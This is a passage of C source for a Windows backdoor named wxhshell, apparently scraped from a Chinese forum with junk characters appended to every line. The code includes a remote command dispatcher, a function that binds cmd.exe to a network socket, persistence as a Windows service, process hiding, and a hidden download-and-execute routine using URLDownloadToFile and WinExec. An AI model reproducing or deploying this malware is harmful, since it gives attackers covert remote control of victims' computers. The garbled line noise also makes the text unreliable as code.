  case '?': { r!A1Sfo4P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -8H0f- 1  
    break; :%-xiv  
  } C{AVV<  
  // 安装 Sxo9y0K8-  
  case 'i': { l'TM^B)`c  
    if(Install())  n aE;f)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kgh@.Ir  
    else F} d>pK9fn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^UTQcm  
    break; Z<+Ipj&  
    } + q@kRQY;n  
  // 卸载 8Ac5K!  
  case 'r': { >~C*m `#  
    if(Uninstall()) 7L68voC@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Z rE/3_S  
    else -;rr! cQ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B^Z %38o  
    break; 5y3V duE  
    } <Sw>5M!j  
  // 显示 wxhshell 所在路径 kaybi 0  
  case 'p': { b3Nr>(Z<}  
    char svExeFile[MAX_PATH]; Wc] L43u  
    strcpy(svExeFile,"\n\r"); W6cA@DN$#  
      strcat(svExeFile,ExeFile); *htv:Sr  
        send(wsh,svExeFile,strlen(svExeFile),0); Dxj&9Ra  
    break; N pu#.)G  
    } 6%N.'wf  
  // 重启 R Ptc \4  
  case 'b': { !@2L g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rO#WG}E<"  
    if(Boot(REBOOT)) Buazm3q8H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9em?2'ysa  
    else { Ci{,e%  
    closesocket(wsh); M A9Oi(L)K  
    ExitThread(0); H<6TN^  
    } +\r=/""DW  
    break; cPQUR^!5  
    } aB@D-Y"HO  
  // 关机 @JFfyQ {-  
  case 'd': { +-8S,Rg@   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |"7F`M96I  
    if(Boot(SHUTDOWN)) 2|2'?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Dz$OZP  
    else { 1D@'uApi.  
    closesocket(wsh); % Q| >t~  
    ExitThread(0); btb$C  
    } 53vnON#{*  
    break; a g=,oYn  
    } R 1CoS6  
  // 获取shell bU3e*Er  
  case 's': { e15_$M;RW  
    CmdShell(wsh); 4.>rd6BAN-  
    closesocket(wsh); 99xs5!4s  
    ExitThread(0); "YW&,X5R  
    break; j%7N\Vb  
  } bLSZZfq  
  // 退出 sR(or=ub~  
  case 'x': { ;;A8*\*$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nDiy[Y-4Wp  
    CloseIt(wsh); .O h4b5  
    break; HLD8W8  
    } dCbRlW  
  // 离开 `>.^/SGu>?  
  case 'q': { 0Yh Mwg?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4FWL\;6  
    closesocket(wsh); Q~p)@[q  
    WSACleanup(); G&eRhif  
    exit(1); @/(\YzQvp]  
    break; H8$l }pOz  
        } H%`$@U>  
  } X`,=tM  
  } >M2~BDZ  
[:vH_(|  
  // 提示信息 DQ#rZi3I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O~wZU Zf  
} F!N D  
  } ;7;=)/-  
c8@zpkMj/  
  return; D90.z"N\i9  
} t>~a/K"  
/b|V=j}W  
// shell模块句柄 &3@ {?K  
int CmdShell(SOCKET sock) ||xiKg  
{ <l#|I'hP  
STARTUPINFO si; !Dc|g~km\  
ZeroMemory(&si,sizeof(si)); ~g#$'dS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E4C yW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3Ygt!  
PROCESS_INFORMATION ProcessInfo; x/<eY<Vgm?  
char cmdline[]="cmd"; `FJ2 ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rhfx  
  return 0; fV "gL(7  
} )o=ipm[  
3dl#:Si  
// 自身启动模式 ?Q?=I,2bP  
int StartFromService(void) 006 qj.  
{ [. rULQl  
typedef struct hOOkf mOM  
{ k <EzYh  
  DWORD ExitStatus; *wfb~&: }  
  DWORD PebBaseAddress; 1M={8}3  
  DWORD AffinityMask; C6 PlO  
  DWORD BasePriority; 6T`F'Fk[  
  ULONG UniqueProcessId; ]Yw/}GKB  
  ULONG InheritedFromUniqueProcessId; ]ChGi[B~9  
}   PROCESS_BASIC_INFORMATION; D#.N)@\  
(m~gG|n4  
PROCNTQSIP NtQueryInformationProcess; lTR/o  
K/;*.u`:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c}-WK*v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  BH<jnQ  
=O.%)|  
  HANDLE             hProcess; VoGyjGt&  
  PROCESS_BASIC_INFORMATION pbi; j,Vir"-)  
=[ +)T[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x%`.L6rj  
  if(NULL == hInst ) return 0; A8zh27[w%  
5ns.||%k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qt~QJJN?oF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JYesk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iD(+\:E  
Z /*X)mBuB  
  if (!NtQueryInformationProcess) return 0; b\.l!vn0  
NDo>"in  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z0F'zN 3J  
  if(!hProcess) return 0; D|gI3i  
QqdVN3# 1z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T1_qAz+  
|'SgGg=E  
  CloseHandle(hProcess); V|q`KOF  
:9.QhY)D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kKHGcm^r  
if(hProcess==NULL) return 0;  TNj WZ  
7,!$lT#  
HMODULE hMod; LvcGh  
char procName[255]; YsBOh{Ml  
unsigned long cbNeeded; :dML+R#Ymh  
OGGuVY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >$/PfyY7@#  
n B. u5  
  CloseHandle(hProcess); =K`]$Og}8  
%AV[vr,  
if(strstr(procName,"services")) return 1; // 以服务启动 5n#@,V.O/  
2`V[Nb  
  return 0; // 注册表启动 UPr8Q^wm  
} |\# 6?y[o  
=AVr<kP  
// 主模块 Dxx`<=&g  
int StartWxhshell(LPSTR lpCmdLine) us2RW<Oxv  
{ zjlo3=FQX[  
  SOCKET wsl; bKb}VP  
BOOL val=TRUE; E==vk~cz  
  int port=0; tEC`-> |  
  struct sockaddr_in door; 1^R:[L4R`  
iL\eMa  
  if(wscfg.ws_autoins) Install(); okSCM#&:[2  
lr-:o@q{  
port=atoi(lpCmdLine); kM o7mkV  
nLjc.Z\Bl  
if(port<=0) port=wscfg.ws_port; #>[5NQ;$'  
IHaNg K2  
  WSADATA data; k,M %"FLQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QmRE<i  
Xb/^n .>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `a:L%Ex  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~L3]Wa.  
  door.sin_family = AF_INET; Vt;!FZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k2t#O%_f  
  door.sin_port = htons(port); [;*Vm0>t  
rZSX fgfr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9! 6\8  
closesocket(wsl); }3xZ`vX[T  
return 1; C?h`i ^ >2  
} 7$HN5T\!  
c=Y8R/G<  
  if(listen(wsl,2) == INVALID_SOCKET) { qL1 d-nH  
closesocket(wsl); mok%TK  
return 1; Or9`E(  
} tM&;b?bJ[  
  Wxhshell(wsl); 5Z@~d'D  
  WSACleanup(); Qk_` IlSd  
wg0hm#X  
return 0; Xj+oV  
SGUu\yS&s  
} Zv8I`/4?  
ZUiI nO  
// 以NT服务方式启动 o 2Okc><z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (bBr O74lR  
{ ulzQ[?OMl  
DWORD   status = 0; ^,;AM(E  
  DWORD   specificError = 0xfffffff; !?%'Fy6t  
v?S~ =$.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @Y8/#6KE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w\PCBY=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gJv;{;%  
  serviceStatus.dwWin32ExitCode     = 0; 057$b!A-a  
  serviceStatus.dwServiceSpecificExitCode = 0; HGJfj*JH  
  serviceStatus.dwCheckPoint       = 0; 5[{#/!LX)  
  serviceStatus.dwWaitHint       = 0; v7kR]HU[y  
.xIu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vxrRkOU1  
  if (hServiceStatusHandle==0) return; Pa}B0XBWP  
acdWU"<  
status = GetLastError(); >*"6zR2 o  
  if (status!=NO_ERROR) m=7Z8@sX},  
{ <y30t[.E6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Ze{d$  
    serviceStatus.dwCheckPoint       = 0; 5?()o}VjAO  
    serviceStatus.dwWaitHint       = 0; EE<^q?[3^  
    serviceStatus.dwWin32ExitCode     = status; 1; "t8.*%e  
    serviceStatus.dwServiceSpecificExitCode = specificError; AHA4{Zu[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i$Sq.NU  
    return; !^ /Mn  
  } %^C.e*  
0/F/U=Z!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8% ;K#,>  
  serviceStatus.dwCheckPoint       = 0; X%>Sio  
  serviceStatus.dwWaitHint       = 0; I )LO@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 't5 I%F  
} ~SW_jiKM  
G\U'_G>  
// 处理NT服务事件,比如:启动、停止 ^ld ?v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YsHZFF  
{ >nnjL rI  
switch(fdwControl) {MaFv  
{ 3Q@HP;<  
case SERVICE_CONTROL_STOP: { _]'EK/w  
  serviceStatus.dwWin32ExitCode = 0; dK=<%)N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X@[)jWs  
  serviceStatus.dwCheckPoint   = 0; dK45&JHoW^  
  serviceStatus.dwWaitHint     = 0; %!>~2=Q2*  
  { B:pIzCP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +[DL]e]@U  
  } 1{.=T&eG#  
  return; h]#wwJF  
case SERVICE_CONTROL_PAUSE: ;BR`}~m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x-e?94}^  
  break; C98 Ks  
case SERVICE_CONTROL_CONTINUE: $6c8<!B_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dUTF0U  
  break; +Y^_1  
case SERVICE_CONTROL_INTERROGATE: \(C_t1  
  break; :V%XEN)  
}; ~\ 9bh6%R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6L~tUe.G  
} E,#J\)'z  
T|h/n\fx)a  
// 标准应用程序主函数 f&\v+'[p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <V3N!H_d  
{ ydNcbF%K  
COx<X\  
// 获取操作系统版本 *Q<%(JJ  
OsIsNt=GetOsVer(); e6n^l $'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u= |hRTD=  
8%UI<I,  
  // 从命令行安装 SOyE$GoOsx  
  if(strpbrk(lpCmdLine,"iI")) Install(); b ;Vy=f  
/ ;%[:x  
  // 下载执行文件 GHMoT  
if(wscfg.ws_downexe) { {5f? y\Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fR>(b?C  
  WinExec(wscfg.ws_filenam,SW_HIDE); kQR kby  
} w%no6 ;  
4JTFdbx  
if(!OsIsNt) { n')#]g0[  
// 如果时win9x,隐藏进程并且设置为注册表启动 }ST9&w i~  
HideProc(); C ^@~  
StartWxhshell(lpCmdLine); /"t*gN=wrF  
} vG'JMzAm  
else =H_|007C  
  if(StartFromService()) Fejs9'cB  
  // 以服务方式启动 ,6Kx1 c  
  StartServiceCtrlDispatcher(DispatchTable); 3N?WpA768/  
else =o5ZcC  
  // 普通方式启动 XD5z+/F<"0  
  StartWxhshell(lpCmdLine); SC~cryb  
U@<>2  
return 0; V~+{douq  
}
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只看该作者 1 发表于: 2006-10-10
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